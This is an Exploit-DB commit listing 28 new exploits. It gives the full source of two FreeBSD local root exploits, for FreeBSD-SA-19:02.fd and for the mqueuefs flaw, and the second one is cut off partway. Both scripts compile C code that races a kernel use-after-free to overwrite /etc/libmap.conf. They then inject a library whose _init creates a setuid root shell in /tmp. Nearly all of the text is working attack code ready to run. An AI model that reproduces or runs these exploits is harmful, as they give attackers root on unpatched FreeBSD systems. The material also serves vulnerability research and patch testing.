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DB: 2019-12-31

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28 changes to exploits/shellcodes

OpenBSD - Dynamic Loader chpass Privilege Escalation (Metasploit)
Reptile Rootkit - reptile_cmd Privilege Escalation (Metasploit)
Microsoft UPnP - Local Privilege Elevation (Metasploit)
AVS Audio Converter 9.1.2.600 - Stack Overflow (PoC)
FTP Navigator 8.03 - Stack Overflow (SEH)
Wing FTP Server 6.0.7 - Unquoted Service Path
Domain Quester Pro 6.02 - Stack Overflow (SEH)
FreeBSD-SA-19:02.fd - Privilege Escalation
FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
HomeAutomation 3.3.2 - Persistent Cross-Site Scripting
HomeAutomation 3.3.2 - Authentication Bypass
HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)
HomeAutomation 3.3.2 - Remote Code Execution
elearning-script 1.0 - Authentication Bypass
XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin)
Thrive Smart Home 1.1 - Authentication Bypass
XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin)
XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin)
WEMS BEMS 21.3.1 - Undocumented Backdoor Account
AVE DOMINAplus 1.10.x - Credential Disclosure
AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot
AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)
AVE DOMINAplus 1.10.x - Authentication Bypass
Heatmiser Netmonitor 3.03 - Hardcoded Credentials
MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure
RICOH SP 4510SF Printer - HTML Injection
RICOH Web Image Monitor 1.09 - HTML Injection
Heatmiser Netmonitor 3.03 - HTML Injection
This commit is contained in:
Offensive Security 2019-12-31 05:02:03 +00:00
parent 0db40c5558
commit cd36764b57
29 changed files with 3916 additions and 0 deletions
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677
exploits/freebsd/local/47829.sh Executable file
View file

@ -0,0 +1,677 @@
# Exploit: FreeBSD-SA-19:02.fd - Privilege Escalation
# Date: 2019-12-30
# Author: Karsten König of Secfault Security
# Twitter: @gr4yf0x
# Kudos: Maik, greg and Dirk for discussion and inspiration
# CVE: CVE-2019-5596
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
#!/bin/sh
echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security"
umask 0000
if [ ! -f /etc/libmap.conf ]; then
echo "[!] libmap.conf has to exist"
exit
fi
cp /etc/libmap.conf ./
cat > heavy_cyber_weapon.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/un.h>
#define N_FDS 0xfe
#define N_OPEN 0x2
#define N 1000000
#define NUM_THREADS 400
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
#define ATTACK_PATH "/etc/libmap.conf"
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"
#define CORE_0 0
#define CORE_1 1
#define MAX_TRIES 500
struct thread_data {
int fd;
int fd2;
};
pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;
int send_recv(int fd, int sv[2], int n_fds) {
int ret, i;
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmh;
char cmsg[CMSG_SPACE(sizeof(int)*n_fds)];
int *fds; char buf[1];
iov.iov_base = "a";
iov.iov_len = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds);
msg.msg_flags = 0;
cmh = CMSG_FIRSTHDR(&msg);
cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds);
cmh->cmsg_level = SOL_SOCKET;
cmh->cmsg_type = SCM_RIGHTS;
fds = (int *)CMSG_DATA(cmsg);
for (i = 0; i < n_fds; i++) {
fds[i] = fd;
}
ret = sendmsg(sv[0], &msg, 0);
if (ret == -1) {
return 1;
}
iov.iov_base = buf;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmh;
msg.msg_controllen = CMSG_SPACE(0);
msg.msg_flags = 0;
ret = recvmsg(sv[1], &msg, 0);
if (ret == -1) {
return 1;
}
return 0;
}
int open_tmp(char *path)
{
int fd;
char *real_path;
if (path != NULL) {
real_path = malloc(strlen(path) + 1);
strcpy(real_path, path);
}
else {
real_path = malloc(strlen(DEFAULT_PATH) + 1);
strcpy(real_path, DEFAULT_PATH);
}
if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) {
perror("[!] open");
exit(1);
}
fchmod(fd, 0700);
return fd;
}
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
bzero(remote, sizeof(struct sockaddr_un));
remote->sun_family = AF_UNIX;
strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}
int bind_domain_socket(struct sockaddr_un *remote) {
int server_socket;
if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
if (bind(server_socket,
(struct sockaddr *) remote,
sizeof(struct sockaddr_un)) != 0) {
perror("[!] bind");
exit(1);
}
return server_socket;
}
int connect_domain_socket_client() {
int client_socket;
if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
return client_socket;
}
// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is used but fd2 still points to the struct, hence fdrop()
// is called at exit and will panic because f_count will
// be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int sv[2], int fd)
{
send_recv(fd, sv, 0xfe);
}
int stick_thread_to_core(int core) {
/* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */
/* if (core_id < 0 || core_id >= num_cores) */
/* return EINVAL; */
cpuset_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
pthread_t current_thread = pthread_self();
return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}
void *trigger_uaf(void *thread_args) {
struct thread_data *thread_data;
int fd, fd2;
if (stick_thread_to_core(CORE_0) != 0) {
perror("[!] [!] trigger_uaf: Could not stick thread to core");
}
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = thread_data->fd2;
printf("[+] trigger_uaf: fd: %d\n", fd);
printf("[+] trigger_uaf: fd2: %d\n", fd2);
printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
pthread_mutex_lock(&trigger_mtx);
pthread_cond_wait(&trigger_cond, &trigger_mtx);
usleep(40);
// Close to fds to trigger uaf
//
// This assumes that fget_write() in kern_writev()
// was already successful!
//
// Otherwise kernel panic is triggered
//
// refcount = 2 (primitive+fget_write)
close(fd);
close(fd2);
// refcount = 0 => free
fd = open(ATTACK_PATH, O_RDONLY);
// refcount = 1
printf("[+] trigger_uaf: Opened read-only file, now hope\n");
printf("[+] trigger_uaf: Exit\n");
pthread_exit(NULL);
}
void *hammer(void *arg) {
int i, j, k, client_socket, ret;
char buf[FILE_SIZE], sync_buf[3];
FILE *fd[N_FILES];
struct sockaddr_un remote;
prepare_domain_socket(&remote, SERVER_PATH);
client_socket = connect_domain_socket_client();
strncpy(sync_buf, "1\n", 3);
for (i = 0; i < N_FILES; i++) {
unlink(HAMMER_PATH);
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
perror("[!] fopen");
exit(1);
}
}
for (i = 0; i < FILE_SIZE; i++) {
buf[i] = 'a';
}
pthread_mutex_lock(&hammer_mtx);
// Sometimes sendto() fails because
// no free buffer is available
for (;;) {
if (sendto(client_socket,
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &remote,
sizeof(remote)) != -1) {
break;
}
}
pthread_cond_wait(&hammer_cond, &hammer_mtx);
pthread_mutex_unlock(&hammer_mtx);
for (i = 0; i < N; i++) {
for (k = 0; k < N_FILES; k++) {
rewind(fd[k]);
}
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
for (k = 0; k < N_FILES; k++) {
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
perror("[!] fwrite");
exit(1);
}
}
fflush(NULL);
}
}
pthread_exit(NULL);
}
// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
int hidirtybuffers, numdirtybuffers;
size_t len;
len = sizeof(int);
if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
perror("[!] sysctlbyname hidirtybuffers");
exit(1);
};
printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);
while(1) {
sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
if (numdirtybuffers >= hidirtybuffers) {
pthread_cond_signal(&write_cond);
pthread_cond_signal(&trigger_cond);
printf("[+] monitor: Reached hidirtybuffers watermark\n");
break;
}
}
pthread_exit(NULL);
}
int check_write(int fd) {
char buf[256];
int nbytes;
struct stat st;
printf("[+] check_write\n");
stat(DEFAULT_PATH, &st);
printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size);
stat(ATTACK_PATH, &st);
printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size);
nbytes = read(fd, buf, strlen(HOOK_LIB));
printf("[+] Read bytes: %d\n", nbytes);
if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
return 1;
}
else if (nbytes < 0) {
perror("[!] check_write:read");
printf("[!] check_write:Cannot check if it worked!");
return 1;
}
return 0;
}
void *write_to_file(void *thread_args) {
int fd, fd2, nbytes;
int *fd_ptr;
char buf[256];
struct thread_data *thread_data;
if (stick_thread_to_core(CORE_1) != 0) {
perror("[!] write_to_file: Could not stick thread to core");
}
fd_ptr = (int *) malloc(sizeof(int));
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = open(ATTACK_PATH, O_RDONLY);
printf("[+] write_to_file: Wait for signal from monitor\n");
pthread_mutex_lock(&write_mtx);
pthread_cond_wait(&write_cond, &write_mtx);
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
nbytes = write(fd, buf, strlen(buf));
// Reopen directly after write to prevent panic later
//
// After the write f_count == 0 because after trigger_uaf()
// opened the read-only file, f_count == 1 and write()
// calls fdrop() at the end
//
// => f_count == 0
//
// A direct open hopefully assigns the now again free file
// object to fd so that we can prevent the panic with our
// increment primitive.
if ((fd = open_tmp(NULL)) == -1)
perror("[!] write_to_file: open_tmp");
*fd_ptr = fd;
if (nbytes < 0) {
perror("[!] [!] write_to_file:write");
} else if (nbytes > 0) {
printf("[+] write_to_file: We have written something...\n");
if (check_write(fd2) > 0)
printf("[+] write_to_file: It (probably) worked!\n");
else
printf("[!] write_to_file: It worked not :(\n");
}
printf("[+] write_to_file: Exit\n");
pthread_exit(fd_ptr);
}
void prepare(int sv[2], int fds[2]) {
int fd, fd2, i;
printf("[+] Start UaF preparation\n");
printf("[+] This can take a while\n");
// Get a single file descriptor to send via the socket
if ((fd = open_tmp(NULL)) == -1) {
perror("[!] open_tmp");
exit(1);
}
if ((fd2 = dup(fd)) == -1) {
perror("[!] dup");
exit(1);
}
// fp->f_count will increment by 0xfe in one iteration
// doing this 16909320 times will lead to
// f_count = 16909320 * 0xfe + 2 = 0xfffffff2
// Note the 2 because of the former call of dup() and
// the first open().
//
// To test our trigger we can send 0xd more fd's what
// would to an f_count of 0 when fdclose() is called in
// m_dispose_extcontrolm. fdrop() will reduce f_count to
// 0xffffffff = -1 and ultimately panic when _fdrop() is
// called because the latter asserts that f_count is 0.
// _fdrop is called in the first place because
// refcount_release() only checks that f_count is less or
// equal 1 to recognize the last reference.
//
// If we want to trigger the free without panic, we have
// to send 0xf fds and close an own what will lead to an
// fdrop() call without panic as f_count is 1 and reduced
// to 0 by close(). The unclosed descriptor references now
// a free 'struct file'.
for (i = 0; i < 16909320; i++) {
if (i % 1690930 == 0) {
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093));
}
if (send_recv(fd, sv, N_FDS)) {
perror("[!] prepare:send_recv");
exit(1);
}
}
if (send_recv(fd, sv, 0xf)) {
perror("[!] prepare:send_recv");
exit(1);
}
fds[0] = fd;
fds[1] = fd2;
printf("[+] Finished UaF preparation\n");
}
void read_thread_status(int server_socket) {
int bytes_rec, count;
struct sockaddr_un client;
socklen_t len;
char buf[256];
struct timeval tv;
tv.tv_sec = 10;
tv.tv_usec = 0;
setsockopt(server_socket,
SOL_SOCKET, SO_RCVTIMEO,
(const char*)&tv, sizeof tv);
for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
if (count % 100 == 0) {
printf("[+] Hammer threads ready: %d\n", count);
}
bzero(&client, sizeof(struct sockaddr_un));
bzero(buf, 256);
len = sizeof(struct sockaddr_un);
if ((bytes_rec = recvfrom(server_socket,
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] recvfrom");
break;
}
}
if (count != NUM_FORKS * NUM_THREADS) {
printf("[!] Could not create all hammer threads, will try though!\n");
}
}
void fire() {
int i, j, fd, fd2, bytes_rec, server_socket;
int sv[2], fds[2], hammer_socket[NUM_FORKS];
int *fd_ptr;
char socket_path[256], sync_buf[3], buf[256];
pthread_t write_thread, trigger_thread, monitor_thread;
pthread_t hammer_threads[NUM_THREADS];
pid_t pids[NUM_FORKS];
socklen_t len;
struct thread_data thread_data;
struct sockaddr_un server, client;
struct sockaddr_un hammer_socket_addr[NUM_FORKS];
// Socket for receiving thread status
unlink(SERVER_PATH);
prepare_domain_socket(&server, SERVER_PATH);
server_socket = bind_domain_socket(&server);
// Sockets to receive hammer signal
for (i = 0; i < NUM_FORKS; i++) {
snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
unlink(socket_path);
prepare_domain_socket(&hammer_socket_addr[i], socket_path);
hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
}
strncpy(sync_buf, "1\n", 3);
len = sizeof(struct sockaddr_un);
if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
perror("[!] socketpair");
exit(1);
}
pthread_mutex_init(&write_mtx, NULL);
pthread_mutex_init(&trigger_mtx, NULL);
pthread_cond_init(&write_cond, NULL);
pthread_cond_init(&trigger_cond, NULL);
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);
prepare(sv, fds);
fd = fds[0];
fd2 = fds[1];
thread_data.fd = fd;
thread_data.fd2 = fd2;
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
for (j = 0; j < NUM_FORKS; j++) {
if ((pids[j] = fork()) < 0) {
perror("[!] fork");
abort();
}
else if (pids[j] == 0) {
pthread_mutex_init(&hammer_mtx, NULL);
pthread_cond_init(&hammer_cond, NULL);
close(fd);
close(fd2);
/* Prevent that a file stream in the hammer threads
* gets the file descriptor of fd for debugging purposes
*/
if ((fd = open_tmp("/tmp/dummy")) == -1)
perror("[!] dummy");
if ((fd2 = open_tmp("/tmp/dummy2")) == -1)
perror("[!] dummy2");
printf("[+] Fork %d fd: %d\n", j, fd);
printf("[+] Fork %d fd2: %d\n", j, fd2);
for (i = 0; i < NUM_THREADS; i++) {
pthread_create(&hammer_threads[i], NULL, hammer, NULL);
}
printf("[+] Fork %d created all threads\n", j);
if ((bytes_rec = recvfrom(hammer_socket[j],
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] accept");
abort();
}
pthread_cond_broadcast(&hammer_cond);
for (i = 0; i < NUM_THREADS; i++) {
pthread_join(hammer_threads[i], NULL);
}
pthread_cond_destroy(&hammer_cond);
pthread_mutex_destroy(&hammer_mtx);
exit(0);
} else {
printf("[+] Created child with PID %d\n", pids[j]);
}
}
read_thread_status(server_socket);
printf("[+] Send signal to Start Hammering\n");
for (i = 0; i < NUM_FORKS; i++) {
if (sendto(hammer_socket[i],
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &hammer_socket_addr[i],
sizeof(hammer_socket_addr[0])) == -1) {
perror("[!] sendto");
exit(1);
}
}
pthread_join(monitor_thread, NULL);
for (i = 0; i < NUM_FORKS; i++) {
kill(pids[i], SIGKILL);
printf("[+] Killed %d\n", pids[i]);
}
pthread_join(write_thread, (void **) &fd_ptr);
pthread_join(trigger_thread, NULL);
pthread_mutex_destroy(&write_mtx);
pthread_mutex_destroy(&trigger_mtx);
pthread_cond_destroy(&write_cond);
pthread_cond_destroy(&trigger_cond);
printf("[+] Returned fd: %d\n", *fd_ptr);
prevent_panic(sv, *fd_ptr);
// fd was acquired from write_to_file
// which allocs a pointer for it
free(fd_ptr);
}
int main(int argc, char **argv)
{
setbuf(stdout, NULL);
fire();
return 0;
}
EOF
cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c
cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid())
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}
EOF
cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "[+] Firing the Heavy Cyber Weapon"
./heavy_cyber_weapon
su
if [ -f /tmp/xxxx ]; then
echo "[+] Enjoy!"
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
/tmp/xxxx
else
echo "[!] FAIL"
fi

754
exploits/freebsd/local/47830.sh Executable file
View file

@ -0,0 +1,754 @@
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
# Author: Karsten König of Secfault Security
# Date: 2019-12-30
# Change line 719 to choose which vulnerability
# is targeted
#
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
# Exploit for FreeBSD-SA-19:15.mqueuefs and
# FreeBSD-SA-19:24.mqueu
#!/bin/sh
echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities"
umask 0000
# libmap.conf has to exist because it is
# the attacked file
if [ ! -f /etc/libmap.conf ]; then
echo "[!] libmap.conf has to exist"
exit
fi
# Make a backup of the current libmap.conf
# because it has to be reconstructed afterwards
cp /etc/libmap.conf ./
# Write the exploit to a C file
cat > exploit.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <sys/_types.h>
#include <sys/types.h>
#include <sys/un.h>
#define N_OPEN 0x2
// Tweak NUM_THREADS and NUM_FORKS if
// more RAM is available on the target
//
// These parameters were tested with
// up to 16 GB of RAM on a dual-core
// Intel based system
#define N 1000000
#define NUM_THREADS 600
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25
// These are temporary files
// which are created during
// exploitation
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
// This is the attacked file
#define ATTACK_PATH "/etc/libmap.conf"
// These are parameters from the attack script
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"
// The exploit will stick some threads
// to specific cores
#define CORE_0 0
#define CORE_1 1
// Syscalls from mqueuefs
#define KMQ_OPEN 457
#define KMQ_TIMEDSEND 460
// Taken from sys/mqueue.h
struct mq_attr {
long mq_flags;
long mq_maxmsg;
long mq_msgsize;
long mq_curmsgs;
long __reserved[4];
};
struct thread_data {
int fd;
int fd2;
};
pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;
// Both syscalls are indirectly called to be less reliable on
// installed libraries
int mq_open(const char *name, int oflag, mode_t mode,
const struct mq_attr *attr)
{
int fd;
fd = syscall(KMQ_OPEN, name, oflag, mode, attr);
return fd;
}
void mq_timedsend(int fd, char *buf, size_t len,
unsigned prio, const struct timespec *timeout)
{
syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout);
}
// Convenience function to open temporary files
int open_tmp(char *path)
{
int fd;
char *real_path;
if (path != NULL) {
real_path = malloc(strlen(path) + 1);
strcpy(real_path, path);
}
else {
real_path = malloc(strlen(DEFAULT_PATH) + 1);
strcpy(real_path, DEFAULT_PATH);
}
if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) {
perror("[!] open");
}
return fd;
}
// Convenience function to prepare a UNIX domain socket
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
bzero(remote, sizeof(struct sockaddr_un));
remote->sun_family = AF_UNIX;
strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}
// Convenience function to bind a UNIX domain socket
int bind_domain_socket(struct sockaddr_un *remote) {
int server_socket;
if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
if (bind(server_socket,
(struct sockaddr *) remote,
sizeof(struct sockaddr_un)) != 0) {
perror("[!] bind");
exit(1);
}
return server_socket;
}
// Convenience function to connect to a UNIX domain socket
int connect_domain_socket_client() {
int client_socket;
if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
return client_socket;
}
// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is called but open file descriptors still points to the struct,
// hence fdrop() is called at exit of the program and will raise a
// kernel panic because f_count will be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int fd)
{
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
}
// Convenience function to stick a thread to a CPU core
int stick_thread_to_core(int core) {
cpuset_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
pthread_t current_thread = pthread_self();
return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}
// This function will trigger the use-after-free
void *trigger_uaf(void *thread_args) {
struct thread_data *thread_data;
int fd, fd2;
if (stick_thread_to_core(CORE_0) != 0) {
perror("[!] [!] trigger_uaf: Could not stick thread to core");
}
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = thread_data->fd2;
printf("[+] trigger_uaf: fd: %d\n", fd);
printf("[+] trigger_uaf: fd2: %d\n", fd2);
// The thread has to wait for the preparation of the
// race condition
printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
pthread_mutex_lock(&trigger_mtx);
pthread_cond_wait(&trigger_cond, &trigger_mtx);
// This sleep parameter helps to render
// the exploit more reliable
//
// Tweeking may be needed for the target system
usleep(40);
// Close two fds to trigger UaF
//
// This assumes that fget_write() in kern_writev()
// was already successful!
//
// Otherwise kernel panic is triggered
//
// f_count = 2 (primitive+fget_write)
close(fd);
close(fd2);
// f_count = 0 => free
fd = open(ATTACK_PATH, O_RDONLY);
// refcount = 1
// all fds do now point to the attacked path
printf("[+] trigger_uaf: Opened read-only file\n");
printf("[+] trigger_uaf: Exit\n");
pthread_exit(NULL);
}
// This function will write to many invalid file streams
//
// This will eventually increase the number of dirty buffers
// in the kernel and creates an exploitable race condition
// for the Use-after-Free
void *hammer(void *arg) {
int i, j, k, client_socket;
char buf[FILE_SIZE], sync_buf[3];
FILE *fd[N_FILES];
struct sockaddr_un remote;
prepare_domain_socket(&remote, SERVER_PATH);
client_socket = connect_domain_socket_client();
strncpy(sync_buf, "1\n", 3);
// Open many files and unlink them directly
// to render the file stream invalid
for (i = 0; i < N_FILES; i++) {
unlink(HAMMER_PATH);
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
perror("[!] fopen");
exit(1);
}
}
for (i = 0; i < FILE_SIZE; i++) {
buf[i] = 'a';
}
pthread_mutex_lock(&hammer_mtx);
// Signal that the thread is prepared
//
// Sometimes sendto() fails because
// no free buffer is available
for (;;) {
if (sendto(client_socket,
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &remote,
sizeof(remote)) != -1) {
break;
}
}
// Wait for the other hammer threads
pthread_cond_wait(&hammer_cond, &hammer_mtx);
pthread_mutex_unlock(&hammer_mtx);
// Write to the file streams to create many dirty buffers
for (i = 0; i < N; i++) {
for (k = 0; k < N_FILES; k++) {
rewind(fd[k]);
}
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
for (k = 0; k < N_FILES; k++) {
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
perror("[!] fwrite");
exit(1);
}
}
fflush(NULL);
}
}
pthread_exit(NULL);
}
// This function monitors the number of
// dirty buffers.
//
// If enough dirty buffers do exist, a
// signal to the write and Use-after-Free
// trigger thread is signalled to
// execute the actual attack
//
// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
int hidirtybuffers, numdirtybuffers;
size_t len;
len = sizeof(int);
if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
perror("[!] sysctlbyname hidirtybuffers");
exit(1);
};
printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);
while(1) {
sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
if (numdirtybuffers >= hidirtybuffers) {
pthread_cond_signal(&write_cond);
pthread_cond_signal(&trigger_cond);
printf("[+] monitor: Reached hidirtybuffers watermark\n");
break;
}
}
pthread_exit(NULL);
}
// Check if the write to the attacked
// path was successful
int check_write(int fd) {
char buf[256];
int nbytes;
struct stat st;
printf("[+] check_write\n");
stat(DEFAULT_PATH, &st);
printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size);
stat(ATTACK_PATH, &st);
printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size);
nbytes = read(fd, buf, strlen(HOOK_LIB));
printf("[+] Read bytes: %d\n", nbytes);
if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
return 1;
}
else if (nbytes < 0) {
perror("[!] check_write:read");
printf("[!] check_write:Cannot check if it worked!");
return 1;
}
return 0;
}
// This function will execute the write operation
// to the attacked path
void *write_to_file(void *thread_args) {
int fd, fd2, nbytes;
int *fd_ptr;
char buf[256];
struct thread_data *thread_data;
struct mq_attr attrs;
if (stick_thread_to_core(CORE_1) != 0) {
perror("[!] write_to_file: Could not stick thread to core");
}
fd_ptr = malloc(sizeof(int));
attrs.mq_maxmsg = 10;
attrs.mq_msgsize = sizeof(int);
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = open(ATTACK_PATH, O_RDONLY);
// Wait for the signal to execute the write operation
printf("[+] write_to_file: Wait for signal from monitor\n");
pthread_mutex_lock(&write_mtx);
pthread_cond_wait(&write_cond, &write_mtx);
// Write to the temporary file
//
// During the write operation the exploit will trigger
// the Use-after-Free and exchange the written file
// with the attacked file to render a write to it
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
nbytes = write(fd, buf, strlen(buf));
// Reopen directly after write to prevent panic later
//
// After the write f_count == 0 because after trigger_uaf()
// opened the read-only file, f_count == 1 and write()
// calls fdrop() at the end
//
// => f_count == 0
//
// A direct open hopefully assigns the now again free file
// object to fd so that we can prevent the panic with our
// increment primitive.
*fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
if (*fd_ptr == -1)
perror("[!] write_to_file: mq_open");
if (nbytes < 0) {
perror("[!] write_to_file: write");
} else if (nbytes > 0) {
printf("[+] write_to_file: We have written something...\n");
if (check_write(fd2) > 0)
printf("[+] write_to_file: It (probably) worked!\n");
else
printf("[!] write_to_file: It worked not :(\n");
}
printf("[+] write_to_file: Exit\n");
pthread_exit(fd_ptr);
}
// This function prepares the Use-after-Free due to
// a reference counter overflow
void prepare(int fds[3]) {
int fd, fd2, fd3, trigger_fd;
u_int32_t i;
struct mq_attr attrs;
attrs.mq_maxmsg = 10;
attrs.mq_msgsize = sizeof(int);
printf("[+] Start UaF preparation\n");
printf("[+] This can take a while\n");
// Open a mqueue file
fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
if (fd == -1) {
perror("open");
exit(1);
}
// fp->f_count will be incremented by 1 per iteration due
// to the bug in freebsd32_kmq_timedsend()
//
// That is, 0xfffffffe iterations will increment it to
// 0xffffffff (f_count starts with 1 because of mq_open())
//
// The bug is triggered because freebsd_kqm_timedsend will eventually
// try to call copyin() with the pointer to address 0x1 which
// is invalid
for (i = 0; i < 0xfffffffe; i++) {
// just a progress message, nothing special about the magic values
if (i % 0x19999990 == 0)
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28));
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
}
// Every dup() increases fp->f_count by 1
//
// Using dup() works because FreeBSD's mqueue implementation
